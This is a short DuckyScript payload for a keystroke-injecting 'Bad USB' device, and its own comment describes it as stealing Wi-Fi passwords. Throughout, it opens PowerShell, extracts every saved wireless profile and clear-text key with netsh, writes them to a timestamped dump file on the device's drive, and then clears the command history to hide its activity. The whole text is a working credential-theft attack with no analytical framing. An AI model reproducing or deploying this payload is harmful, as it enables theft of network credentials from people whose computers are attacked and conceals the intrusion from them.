REM STEALS WIFI PASSWORDS AND PLACES THEM IN A TXT FILE INSIDE OF BAD USB DELAY 1000 GUI R DELAY 400 STRING powershell DELAY 300 ENTER DELAY 400 STRING $timestamp = (Get-Date).ToString("yyyyMMdd_HHmmss") DELAY 400 ENTER DELAY 200 STRING $outputFile = "D:\Dumps\Password_dump_$timestamp.txt" DELAY 400 ENTER DELAY 300 STRING (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize > $outputFile DELAY 500 ENTER DELAY 300 STRING Clear-History DELAY 150 ENTER DELAY 100 STRING exit DELAY 100 ENTER